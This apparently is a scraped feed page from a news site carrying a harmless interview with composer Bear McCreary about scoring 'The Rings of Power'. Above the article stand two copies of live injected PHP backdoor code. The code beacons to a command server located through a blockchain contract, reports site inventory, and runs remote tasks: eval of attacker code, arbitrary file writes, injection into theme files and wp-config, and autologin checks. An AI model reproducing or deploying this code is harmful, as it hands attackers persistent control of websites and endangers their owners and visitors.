// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Crafting – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 11:41:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Crafting – Brief News https://briefnews.eu 32 32 The Lord Of The Rings: The Rings Of Power’s Bear McCreary On The Power Of Black Speech, Crafting A New Sound For Middle-Earth [Exclusive Interview] https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/ https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/#respond Thu, 15 Sep 2022 11:41:20 +0000 https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/

We’re living in a golden age of fantasy, with “The Lord of the Rings: The Rings of Power” and “House of the Dragon” showing us vastly different yet equally exciting worlds (and “Willow” following close behind). “The Rings of Power” especially is a real gift, a show that manages the impossible by turning J.R.R. Tolkien’s massive legendarium into a cohesive story of corruption and grief in a world before it became tainted by war.

“The Rings of Power” features gorgeous production design, a phenomenal cast, a great adaptation of the lore and mythos, and also a spectacular soundtrack that creates both a direct line of connection between the show and the Peter Jackson movies so they feel part of the same story. But it’s also different enough to make it clear this is a very different age.

Composer Bear McCreary has already given us fantastic scores in major franchises, like “Godzilla,” “Battlestar Galactica,” and more, but his score for “The Rings of Power” is on another level. /Film spoke with McCreary about crafting a new sound for Middle-earth, how Black Speech makes everything more intimidating, thinking of future seasons, and more.

‘I Am Thinking About Essentially 50 Hours’

What was your reaction upon getting the job? And what was your first thought regarding your goal for the sound of the show?

When I came on board, I think I brought with me all the years of being a huge fan of the writings of Tolkien, [as well as] the film adaptations. In many ways that had to color my experience, but I also really needed to score the story at hand and tell the story of these characters and these places. So I tried to balance that, my desire to create something new, and also to write something that could live alongside all this music that was been rolling around inside my head as a fan for my entire life.

The show is already renewed for season 2, how much of the overall story did you know in advance when crafting the score?

I knew a lot because I sat down with the showrunners and I read all the scripts and spoke with them about not only the episodes we’re working on, but the entire series, what the vision is for where the entire show is going to go. So while I initially have been tasked with scoring eight hours of drama. I am thinking about essentially 50 hours. How are these themes that I might write going to evolve over that long run?

And in some cases it’s a little early to get into detailed conversations about that. In other cases, it’s not. When I’m thinking about themes for Elrond, Elendil, Isildur, these are characters that I think all fans have an idea where they’re going to go. So I wanted to write a theme for them, and Sauron as well. Galadriel as well, that could evolve in ways that we all as fans want it to evolve.

That was a challenge, but it was also really fun because I was able to work with this huge expansive canvas, the likes of which come across in a composer’s career very rarely.

‘I Feel Like Deep Down Inside, I Think I Am One Of The Dwarves’

What was the first track or sound that you made once you came on board the show?

I came up with a list of about 15 themes that I needed to write for the first season. It ended up being, I think, even a couple more than that. But I wanted to write in an order that made the most sense to me. I wanted to start easy. Why start with something that was too challenging? What theme would be the easiest for me to wrap my head around? And really, it was the theme for the dwarves in Khazad-dûm. I feel like deep down inside, I think I am one of the dwarves. If I related to any of those cultures, I’m a dwarf deep down inside.And I imagined this churning, mechanical string pattern, and I imagined musicians with anvils clanging them with metal hammers. Then I imagined a choir singing in Khuzdul, a patriotic rousing text. And I knocked that out. And truly the first draft is almost identical to what you heard in episode two.

That was one of those things that did come very naturally to me. I don’t know why, it’s just the way my brain is wired.

On the opposite end, what was the theme you wanted to leave for last?

I think it was Elrond that was the most challenging. Interestingly, it was my fandom of the Peter Jackson films that made it more of a struggle to write a theme for Elrond. Before I took on this show, I think of Elrond, not only with Hugo Weaving’s depiction from the Peter Jackson films, but even from the way he’s written in the original books, as this incredible authority figure. He’s so wise and ancient. He is not to be messed with. He is stern and clear.

And we meet him in “The Rings of Power,” where he’s an optimist, an idealist, a politician, a diplomat. In a way, he’s sort of an orphan. He is not the defining authority figure of Lindon, obviously not. He’s underneath Gil-galad, he’s working with Celebrimbor. He’s very much on his way up through the ranks. And his father and his brother are these incredibly accomplished mythic figures. And he does not have these accomplishments under his belt. What’s that like?

So in a way, I had to let all that other stuff go and focus on who he is in the beginning of the story of “Rings of Power” and create something that was a little more idealistic, and optimistic, and youthful, but a melody that turned around on itself. And it moves from major to minor in such a way that it itself is a little lost. It’s looking for its place. 

And I’m excited to expand upon that theme over the course of the show, as he inevitably rises through those ranks to become more of an authority figure for the elves.

But it wasn’t easy. It definitely took me a minute and a few tries, and JD Payne and Patrick McKay were super helpful in guiding me along those narrative shifts.

‘I’m Creating Something That Is New To Fans That Have Been Watching Adaptations Of Tolkien’

One cool thing about the show is that were seeing places we’ve never seen on the screen before, like Númenor and Valinor. What inspired you in making the sound of those places?

I was really excited at the possibility of exploring familiar sounds, first of all, that we associate with the Peter Jackson films and Howard Shore’s writing. I did not want to unpleasantly surprise anybody. I thought ethereal light vocals for the elves, and deep male vocals for the dwarves, and a subtly Celtic influence for the Harfoots who would become our hobbits. So those were givens.

It was really interesting though, working with colors that are new, in particular Númenor, where there really wasn’t a sound, and there hasn’t really been a sound associated with Númenor. So I was inspired to give Númenor a color that would be different than anything else we’d heard in any Tolkien adaptations in a prominent way.

So I featured a lot of Middle Eastern and Mediterranean colors. There’s an Armenian woodwind instrument called a Duduk that combines with a Turkish string instrument called a tambur. By using these sounds, I’m creating something that is new to fans that have been watching adaptations of Tolkien. And I wanted that feeling when we pull into Númenor of hearing something that is different, that has its own identity because the high men of Númenor and the low men of the Southlands are meant to be very different.

Bringing A Bit Of The Real World Into Middle-Earth

One thing I love about Howard Shore’s score is how he used instruments with a long history. I’m curious if that’s something you brought over to the show.

I always love to use exciting colors from cultural music from around the world in my scores. And indeed, if one were to listen to my work on “Battlestar Galactica” or “Godzilla: King of the Monsters” or “Outlander” or “God of War,” you would hear all kinds of different colors. So this is something I have been researching my entire career. And that research was incredibly helpful in doing “The Lord of the Rings, The Rings of Power.”

Some of these colors are continuous with what Howard Shore did in the films. In the films, when we meet Rohan, the riders of Rohan and that sort of nation, it’s associated with a hardanger fiddle, a Nordic instrument called the hardanger fiddle in those scores.

Sure enough, in “The Rings of Power,” I’m using a hardanger fiddle in combination with another Nordic instrument called a nyckelharpa to represent the southlands, the low men, the men who are not descended from Numenorian ancestry.

So in that way, I’m trying to create something continuous with what Howard Shore did. Howard had a Celtic influence to the Shire and to the hobbits that he really filtered through a British folk music lens. I would not describe the Shire theme as particularly Celtic. It’s really more like British. It feels like British folk music with a little Celtic whistle now and again.

But I leaned into that color, the Celtic side, much more. I’m using Uilleann pipes from Ireland, small Scottish bagpipes from Scotland, a Bodhran, which is a frame drum used in Irish music that has this vocal pitch bendy quality, and Irish penny whistles and tin whistles. It’s almost as if to imply that there’s a more portable, more Celtic, more earthy Celtic color for the Harfoots that will settle down into a more British folk music color thousands of years from now in the Shire.

So they’re not the same. They are different, but they’re continuous. And I loved the idea of being able to use those colors to tell that story.

‘My Biggest Hope Is That It Feels Right’

What is one element from Howard Shore’s score you wanted to keep for the show, and one that you specifically wanted to stray away from or do differently to make clear this is a different story?

I think the thing I wanted to preserve was a sense of continuity. I wanted fans who love the Peter Jackson films, fans like myself, to listen to the music of Khazad-dum, the music of Lindon, the music of Sauron, and to nod their head and say, “Yes, yes, that is correct. That is what I want that to sound like.” And that’s not even a very specific element. It’s a general mood, a general sense of connection that is built from an indescribable number of very specific little musical decisions, ingredients in the cake that are similar.In terms of setting it apart, I want themes that represent our characters as they exist now. I already discussed Elrond as an idealist and a diplomat and a bit of an orphan. Galadriel is driven by a sense of justice, if not a sense of revenge. She is not the calm, wise character she will become. So I wanted to write a theme that had an evocative melody, but really also has a sense of urgency, and drive, and motivation so that we can feel her evolve over the course of our show.

I think the things that are different are very obvious. I mean, it’s the Numenor theme, inevitably it’s different. I am not able to write in someone else’s language. It is my language. So it’s inevitable that it would be different. My biggest hope is that it feels right, and that people fall in love with this depiction of Middle-earth, and that the music is one of the many reasons they go on the journey.

‘There Was A Sense Of Ominous Evil That Came Out Of Those Words’

Something I love about the show is the inclusion of choirs in different languages. Can you talk about including dwarvish, two elvish languages, and bringing it together for the music of the show?

Yeah, it’s pretty exciting to be able to work with the different languages that Tolkien devised for his legendarium. I felt that the score would not be complete if those languages were not integrated into the score. So I worked closely with JD Payne, one of the writers and showrunners, and Leif McPherson, our dialect coach, to make sure that every cue that has choir and features text that is sung in an appropriate language saying an appropriate idea. And Leif created pronunciation guides. She would very slowly and articulately record every syllable so the choir could listen while they were recording, and before they rehearsed they would get all the pronunciation correct. And it was fascinating, the emotional impact that had, because Tolkien was really clever about how he devised his languages. Black Speech has a lot of consonants, has a lot of percussion built into the way it is even said.

